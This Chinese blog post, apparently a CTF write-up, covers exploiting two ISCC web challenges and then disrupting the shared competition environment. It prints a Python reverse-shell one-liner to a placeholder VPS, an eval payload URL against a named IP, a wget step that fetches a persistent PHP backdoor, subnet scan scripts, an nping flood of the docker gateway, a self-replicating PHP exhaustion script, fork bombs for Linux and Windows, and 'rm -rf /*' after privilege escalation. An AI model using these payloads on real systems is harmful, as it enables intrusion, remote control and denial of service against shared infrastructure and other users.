前言
这篇文章主要是总结一下在ISCC中发现的存在漏洞的Web题目,这些漏洞都可以导致题目被搅屎,甚至环境被提权:),当然我在发现的第一时间上报给主办方,至于修不修复就是他们的事情了。虽然说这个比赛的题目大多都是chao的,但是拿来练手刚好。
漏洞点
漏洞一
这题题目叫做:php是世界上最好的语言,题目源代码如下:
<?php
include 'flag.php';
$a = @$_REQUEST['a'];
@eval("var_dump($$a);");
show_source(__FILE__);
?>
可以看到这里有一个可变变量 $$a
,于是想到用 {php代码}
这种方式来执行代码,至于为什么这种方式能够执行代码(客服小哥哥问过我),参考官方手册吧: 可变变量
我发现题目环境装有python,于是打算用python反弹shell(客服在复现的时候直接使用nc发现shell会一直掉,我用python弹的shell就没掉过),代码如下:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的VPSIP",端口号));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
此时先在自己的VPS上面侦听端口:nc -lvp 端口号(和上面python代码里面的端口号一致即可)
把上面的语句用base64加密,放在下面的 base64_decode('')
单引号里面,然后访问:
http://118.190.152.202:8005/no_md5.php?a={system(base64_decode('cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiYIRWUFNJUCIs7+P3KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7IG9zLmR1cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKTsn'))}
访问即可回弹shell
漏洞二
这题题目叫做:php是世界上最好的语言,题目源代码如下: 请ping我的ip看你能Ping通吗?
<?php
header("Content-Type:text/html;charset=utf-8");
echo "请ping我的IP 看你会ping通吗";
$target = $_REQUEST[ 'ip' ];
$target=trim($target);
$substitutions = array(
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 1 ' . $target );
}
echo "<pre>{$cmd}</pre>";
?>
绕过也很简单,如下:
由于题目限制不严格,所以可以直接用wget下载反弹shell程序或者不死马:
wget http://VpsIP/iscc.txt
mv iscc.txt .isc.php
chmod +x .isc.php
php .isc.php &
如何搅屎
由于本次比赛并没有真正去搅屎,下面讨论的方法大多是整理他人的文章或者是在本机测试过的,所以只能算是yiyin搅屎了。
主机发现
linux环境
用shell脚本扫描内网,程序如下:
#!/bin/bash
# 用法: ./scan.sh 192.168.199 1 254
network=$1
time=$(date +%H%M%S)
for i in $(seq $2 $3)
do
ping -c 1 -w 2 $network.$i > /dev/null
if [ $? -eq 0 ]; then
arp $network.$i | grep ":" | awk '{print $1,$3}' >> $time.log
echo "host $network.$i is up"
else
echo "host $network.$i is down"
fi
done
或者使用
for ((i=1; i<256; i++));
do
echo "Checking...[${i}]"
ping -c 1 192.168.199.${i} | grep ttl
done
windows环境
主机发现程序如下:
for /l %i in (1,1,255) do
@ping 192.168.1.%i -w 1 -n 1 | find /i "ttl"
试着扫了ISCC的内网,扫描出14个IP,应该是14个docker,刚好对应14道Web题目:
攻击网关
我想着如果要想让所有的web挂掉,那么可以通过攻击网关的方式来达成,因为比赛环境用docker,所以我们可以针对docker网关进行攻击,这样docker内的流量就出不去了,选手也就无法正常访问题目。于是乎我们可以进行arp攻击docker网络,将所有出站流量全部丢弃,或者DOS网关IP,我在ISCC的题目中发现装有nmap,那么我就可以使用命令
nping --tcp-connect -rate=90000 -c 900000 -q 172.17.42.1 &
不死马
基础知识
- 1、ignore_user_abort
int ignore_user_abort ([ bool $value ] )
用于设置客户端断开连接时,是否中断脚本的执行
- 2、set_time_limit
bool set_time_limit ( int $seconds )
用于设置允许脚本运行的最大时间,单位为秒。如果超过了此设置,脚本返回一个致命的错误。默认值为30秒,或者是在php.ini中 max_execution_time 的值。如果设置为0,没有时间方面的限制。当此函数被调用时,set_time_limit()会从零开始重新启动超时计数器。换句话说,如果超时默认是30秒,在脚本运行了了25秒时调用 set_time_limit(20) ,那么脚本在超时之前可运行总时间为45秒。
<?php
set_time_limit(0);
ignore_user_abort(true);
while(1){
file_put_contents(randstr().'.php',file_get_content(__FILE__));
file_get_contents("http://127.0.0.1/");
}
?>
这个脚本说是执行的后内存爆炸,phpGG了,严重点的话,Docker也GG。但我问过作者,他也没试过,只是夸张的说辞。然后我修改了一些,就在在while的最后一行再把生成的新文件include进来,效果会好一些,但是达到PHP内存上限时,PHP程序会终止运行。
linux环境
:(){ :|: & };:
windows环境
%0 | %0
最后想试试提权,一开始用 CVE-2017-1000112 提权失败,然后朋友用 upstream44.c 成功提权,如下:
权限大了,你想怎么玩都可以(rm -rf /*)。最后建议大家看一下下面的相关链接,有些内容还是很有趣的,包括youtube上老外耗尽主机资源的视屏以及主办方们的防搅屎思路,都值得借鉴、学习。
相关链接
Trying out some Deadly Linux Commands part 1
发表评论
您还未登录,请先登录。
登录